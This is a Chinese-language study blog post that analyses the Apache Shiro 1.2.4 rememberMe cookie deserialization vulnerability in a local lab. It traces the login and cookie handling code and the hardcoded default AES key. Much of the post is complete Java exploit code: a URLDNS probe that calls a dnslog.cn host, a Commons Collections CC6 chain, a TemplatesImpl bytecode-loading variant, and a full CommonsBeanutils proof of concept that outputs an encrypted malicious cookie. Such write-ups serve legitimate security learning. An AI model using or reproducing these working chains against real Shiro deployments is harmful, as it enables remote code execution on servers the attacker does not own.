# 前言

前面的 CC 链暂时就到这了,从本篇开始,就开始 Shiro 反序列化漏洞的学习,以此篇随笔记录我的学习过程以供参考,不是很严谨望见谅,错误的地方希望大师傅们能指出,文章中所涉及的代码都在 github 项目 https://github.com/clown-q/Clown_java 中

学习参考:

  • 《Java 安全漫谈》

# 环境搭建

这里先说一下环境搭建的问题,自己在配置环境的时候也是遇到了一些小问题的,但是其实环境搭建很简单,还是对 javaWeb 不是很熟,后面再慢慢把这块补一补

# 方法一

方法一很简单,可以使用 P 牛搭建好简化版本的项目 phith0n/JavaThings: Share Things Related to Java - Java 安全漫谈笔记相关内容 (github.com),只有两个 jsp 文件。

用 idea 打开 shirodemo 这个项目然后配置一下 tomcatApache Tomcat® - Welcome!

image-20230804135231211

这里需要注意最好把端口改一下,为了方便后面的抓包测试

image-20230804141150184

这里加一个组件就可以了

image-20230804140714117

这样就算是搭建成功了

# 方法二

去 Shiro 的 github 仓库 apache/shiro: Apache Shiro (github.com) 下载整个源码

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4 //切换到1.2.4版本

image-20230804174200551

然后复制 shiro\samples 路径下的 web 文件,用 idea 打开

image-20230804182436056

在 pom 文件中加上这个包的版本号,最后配置一下 tomcat

image-20230804184207538

这里先选择 TomcatServer 的 local 然后选着 tomcat 版本,这里更改端口是为了后面利用漏洞时抓包更加方便

image-20230804184815914

这样就算是成功了

上面的两个方法都需要配置 maven,可以上网查一下,这个的教程很多就不在这里赘述

# Shiro 反序列化分析验证

环境搭建就这样,确实挺简单,网上也有教程,本篇中我使用的是方法二搭建的环境,至于为什么不用 p 牛的那个,记录完方法二懒得改回去了,其实两个都是一样的

# 漏洞原理

Shiro 的漏洞原理也比较简单,登录时的记住密码相信大家都使用过,在 Shiro 这个框架中它的持久化信息储存在 cookie 中

image-20230805084345646

在发起登录请求的时候如果选择了 rememberMe,也就是这个参数的值为 on 的时候,服务端会生成一个 cookie:rememberMe,可以看到这个 cookie 是非常长的

image-20230805084621515

然后再登录之后的请求中都会携带这个 cookie,这里其实就是将这个 remewmberMe 的值进行了一个反序列化的操作,但是在 Shiro 1.2.4 版本中用于加密的 key 是一个内置默认密码,也就是说密码固定不变,也就导致攻击者可以通过构造 rememberMe Cookie,进而触发反序列化漏洞

# 登录流程分析

在 Shiro 中,登录流程的核心是通过 Subject 进行认证操作,这里在 Subject 的 login 下一个断点,看一下登录流程,详细来看 cookie 处理的整个流程

image-20230805140839023

当然这只是一个接口,直接看他的实现方法

image-20230805141128895

这里可以看到,login 传入的 token 是用户名密码等信息,通过 usernamePasswordToken 类传入

image-20230805141512635

接着会调用 SecurityManager 的 login 方法,当然这也只是一个接口,还是看实现方法

image-20230805142456907

实现方法中通过调用 onSuccessfulLogin 这个方法来实现 RememberMe

image-20230805143301717

这里是开启的,继续跟进

image-20230805143538706

这里通过调用 getRememberMeManager () 方法来获取 RememberMeManager 的实例,接着检查是否获取成功,如果成功就会调用 RememberMeManager 的 onSuccessfulLogin 方法,这里可已经可以看见序列化和加密方式是 AES 了

image-20230805143832146

当然这里一个接口,直接跟进到实现类 AbstractRememberMeManager 中

image-20230805143916024

这个类是继承与 RememberMeManager 接口的一个抽象类

image-20230805145224987

抽象类中实现了一个 onSuccessfulLogin 方法,首先通过 forgetIdentity 方法清除之前存在的身份信息,确保登录后生成新的身份信息,if 中是判断用户有没有选择 RememberMe 选项,如果有将会调用 rememberIdentity 方法将用户信息持久化,否则记录一个调试级别的日志

image-20230805145637863

这里因为漏洞就是 RememberMe 的问题,所以这里肯定是选择了的,所以进入 if 语句

image-20230805145827177

继续跟进到 rememberIdentity 方法,首先通过 getIdentityToRemember 获取当前的用户信息,这里可以看到返回值是 root,然后调用 rememberIdentity 方法,这里继续跟进

image-20230805150059265

在 rememberIdentity 方法中,先通过 convertPrincipalsToBytes 方法将主体转换为字节

image-20230805151325315

这里可以看见它进行了一个序列化操作

image-20230805150531884

然后调用 rememberSerializedIdentity 方法,继续跟进就到了 CookieRememberMeManager 类中

image-20230805150628745

首先检查 subject 是否为 HTTP 相关的实例如果不是就会直接返回,然后获取当前用户的 HttpRequest 和 HttpResponse 对象,用以方便设置 cookie

image-20230805151419281

接着将序列化后的内容进行 base64 编码,然后将这个字符串设置为 Cookie

上面整个流程就是登录和设置 Cookie 的一个流程,当然这里我并没有详细的说明用户身份验证等信息,毕竟这里的重点还是 RememberMe 这个功能生成的 Cookie 的流程

# Cookie 信息处理流程

这快网上能查到的有关的信息就很多了,前面的内容到是没有在网上找到分析的流程(应该说没有按照我这个侧重点分析的流程,也是,上面的说白了就是说明了有序列化的过程,,,)废话不多说,下面才正式开始

前面在调试到 CookieRememberMeManager 类的时候,就能够知道这个类是对 Cookie RememberMe 的一个管理类,我们注意到其中有一个方法 getRememberedSerializedIdentity,获取序列化的信息

image-20230805191924944

这里经过一系列的判断后,从 http 报文中获取 cookie

image-20230805192021699

这里非空判断后就 base64 解码,这里返回的是 base64 解码后的信息,接着找一下哪里调用了这个方法获取这个解密后的字符串,这里只有一个调用是符合的,就是 AbstractRememberMeManager 类中的 getRememberedPrincipals 方法

image-20230805201309053

这里获取后判断非空调用 convertBytesToPrincipals 方法处理

image-20230805212237593

这里判断密码服务非空,就调用 decrypt 进行解密,将解密的结果反序列化后返回

image-20230805214143380

这里也是一个简单的判断,然后通过 cipherService.decrypt 来进行一个解密,这里主要是看一下这个 key,它使用的是 getDecryptionCipherKey 方法

image-20230805214405812

这里可以看到上面是刚刚调用的 getDecryptionCipherKey 方法,这里直接就返回,这里看一下下面的 setDecryptionCipherKey 方法,设置了这个 key,这里接着寻找一下调用

image-20230805214827363

但是这里还没到底,接着找

image-20230805214920282

这里就可以了

image-20230805214950660

DEFAULT_CIPHER_KEY_BYTES 他是一个静态变量,而且是使用 final 修饰的,也就是说它不能被修改

# URLDNS 探测

根据上面的分析可以知道,我们可以通过这个硬编码到代码逻辑中的 key 去构造恶意代码造成反序列化漏洞,这里先用 URLDNS 验证一下可行性,代码如下

package Shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro
 * @Author: Clown
 * @CreateTime: 2023-08-05  15:54
 */
public class ShiroURLDNS {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://ixnod8.dnslog.cn");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1234);// 设置 hashCode 值为 1234
        hashMap.put(url,1);
        hashcodefield.set(url,-1);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        System.out.println(byteArrayOutputStream);
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(ciphertext.toString());
    }
}

image-20230806233815177

将输出的处理后的数据粘贴到 cookie

image-20230806233843670

刷新就能看到结果了

这里要将 Cookie 中的 JSESSIONID 删除,使得后端通过 RememberMe 来判断用户身份

image-20230806233653362

到这里就验证成功了,当然了 URLDNS 只能证明他有这条链子,有序列化的点,当然还是想要进一步利用造成更大的危害

# 进一步利用

说到进一步造成更大的危害,那无外乎是想要代码执行,命令执行,我们之前分析的 CC 链不就能够满足这个要求吗,于是这里也是看了一下 pom 文件,原生似乎是没有的,这里添加了一下依赖

image-20230807145301401

添加的是 3.2.1 的依赖,这里直接用前面的链子改写一下 CC6 来尝试利用

package Shiro;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro
 * @Author: Clown
 * @CreateTime: 2023-08-07  13:28
 */
public class ShiroCC6 {
    public static void serialization(Object object)  throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("Shiro.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("serialization方法成功执行");
    }
    public static void unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("Shiro.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("unserialization执行成功");
    }
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map decorate = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa");
        HashMap kvHashMap = new HashMap<>();
        kvHashMap.put(tiedMapEntry,"bbb");
        decorate.remove("aaa");
        Field clazz = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredField("factory");
        clazz.setAccessible(true);
        clazz.set(decorate,chainedTransformer);
//        serialization(kvHashMap);
//        unserialization();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(kvHashMap);
        System.out.println(byteArrayOutputStream);
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(ciphertext.toString());
    }
}

image-20230807133303696

这里想利用 CC6 来弹一个计算器,但是没反应,去看一下日志发现报错

image-20230807145445028

可以看到这个报错有一个类加载不到,这是由于无法创建 transform 数组导致的,这里找一条没有包含数组的链子就可以了,很显然这里不能再使用那个 Runtime,而是使用加载字节码进行代码执行上做一些突破

在前面 cc 链的学习中,对于传入 Runtime 都是使用 ConstantTransformer 这个方法,这里其实也可以使用 LazyMap 中的 get 方法的 key 值传递可以看一下 CC6 - java 安全 | Clown の Blog = (xcu.icu) 这篇学习笔记中补充的部分

因为 CC3 中加载字节码使用的是一个长度为 2 的数组

image-20230807180509408

这里如果将 ConstantTransformer 在缩减的话,就剩下一个长度为 1 的数组,可以直接不使用数组来利用,简单的拼凑一下代码

package Shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro
 * @Author: Clown
 * @CreateTime: 2023-08-07  13:28
 */
public class ShiroCCchange {
    public static void serialization(Object object)  throws Exception{
        FileOutputStream fileOutputStream = new FileOutputStream("Shiro.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        System.out.println("serialization方法成功执行");
    }
    public static void unserialization() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("Shiro.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("unserialization执行成功");
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));// 这里先设置为一个没有用的,下面通过反射设置成目标为了避免在本地本地调试时触发命令执⾏
//        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
        HashMap<Object, Object> map2 = new HashMap<>();// 这里是触发点
        map2.put(tiedMapEntry,"bbb");
        lazymap.clear();
        Class clazz = LazyMap.class;// 这里通过反射将 LazyMap 设置为目标值
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);// 私有属性
        factoryField.set(lazymap,invokerTransformer);// 这里设置为目标的危险函数
//        serialization(kvHashMap);
//        unserialization();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(map2);
        System.out.println(byteArrayOutputStream);
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(ciphertext.toString());
    }
}

image-20230807182330395

image-20230807182426931

这里序列化后很长,是因为这里包含了要加载的字节码

# CB 链利用

image-20230809111458086

还是贴一个完整的链子

前面使用了 CC 链根据环境更改后利用成功,但是真实默认情况下是没有 CC 依赖的,我们也不可能去添加添加一个 CC 依赖,所以也就导致了无法利用,但是实际上在依赖中还有这样一个东西

image-20230807185237704

它自身是带有 commons-beanutils 这个依赖的,所以可以利用 CB 链来进行代码执行

CommonsBeanutils 是应用于 javabean 的工具

package Shiro.CB;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro.CB
 * @Author: Clown
 * @CreateTime: 2023-08-09  08:29
 */
public class Person {
    public String name;
    public int age;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

这既是 javabean 的格式,看下面这个示例代码

package Shiro.CB;
import org.apache.commons.beanutils.*;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro
 * @Author: Clown
 * @CreateTime: 2023-08-07  19:01
 */
public class CBTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person("张三",20);
        System.out.println(PropertyUtils.getProperty(person,"name"));
    }
}

它使用了 CB 中的一个可以相对动态的获取属性值的方法,在上面这个例子中,它会自动的调用一个 getName 方法,当然 CB 链的主要原因也是在这里,

# getProperty 调试

这里先看一下这个 getProperty 方法是怎么自动调用 getName 方法的

image-20230809085002358

直接将断点下在这里

image-20230809085055234

这里浅浅的套娃,调用了一个 getProperty 方法,在方法中有调用了另一个对象的 getProperty 方法

image-20230809085241399

继续跟进,在这个 getProperty 方法中调用了 getNestedProperty 方法

image-20230809085425179

更近到这个方法中,但是实际上这个方法的重点在下方

image-20230809085511194

这里对 bean 做一个判断,可以看到上面,其实两个条件都是不满足的,所以这里实际上会调用到 getSimpleProperty 方法

image-20230809085650493

一直走到下面的方法中

image-20230809085834891

这里可以看到他获取属性描述符,这里内部的实现细节先不管,看一下获取后的内容

image-20230809090020837

这里可以看到,它根据这个 name 转换为答大写后获取了 get 和 set 方法,然后再这个方法的最后有一个调用

image-20230809090254451

这里就可以动态执行一个 get 方法

# CB 分析

上面简单调试了一个 getProperty 方法,可以看到是可以动态执行一 get 方法的,这里接下来的思路就是找一个 get 开头的可以执行代码的地方

在 TemplatesImpl 类中有一个 getOutputProperties 方法

image-20230809092746282

在其中调用了一个 newTransformer 方法,是可以动态加载类的,这里先用 CC3 的改一下

package Shiro.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro
 * @Author: Clown
 * @CreateTime: 2023-08-07  19:01
 */
public class CBTest {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());  // 反序列化的时候会添加
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

image-20230809093501275

显而易见这里是执行成功了,但是想在反序列化中调用这个方法,这里找一下,哪里调用了这个 getProperty 方法

image-20230809093932984

这里本来是想要里用这个 transform 方法但是它所在的类中没有继承序列化

image-20230809094110248

这里选择的是这个 compare 这个方法,这里是 CC2 利用过的方法,简单的看一下这个流程,在 PriorityQueue 类中有一个 readObject 方法

image-20230809110541712

这里会调用一个 heapify 方法

image-20230809110613022

然后回调用一个 siftDown 方法

image-20230809110637655

这里做一个判断,我们需要的是 compare 方法在 siftDownUsingComparator 中

image-20230809110718450

那么整个链子就连起来了,这里贴一个完整的

# POC

package Shiro.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.*;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
/**
 * @BelongsProject: study_java
 * @BelongsPackage: Shiro
 * @Author: Clown
 * @CreateTime: 2023-08-07  19:01
 */
public class CBTest {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\study_java\\test\\Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);
        Class c = PriorityQueue.class;
        Field field = c.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,beanComparator);
//        Serliazation(priorityQueue);
//        Unserlization();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);
        System.out.println(byteArrayOutputStream);
        AesCipherService aesCipherService = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aesCipherService.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(ciphertext.toString());
    }
    public static void Serliazation(Object object) throws Exception{
        FileOutputStream fileInputStream = new FileOutputStream("poc1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileInputStream);
        objectOutputStream.writeObject(object);
        System.out.println("Output");
    }
    public static void Unserlization() throws Exception{
        FileInputStream fileInputStream =new FileInputStream("poc1.txt");
        ObjectInputStream objectInputStream =new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        System.out.println("Input");
    }
}

image-20230809105422217

值得注意的是,这里我再创建 BeanComparator 实例的时候使用的是第二个构造方法

image-20230809105049354

因为第一个构造方法使用的有 ComparableComparator

image-20230809105120400

他实际上是使用了 CC 的依赖,而 Shiro 中默认是没有 CC 依赖的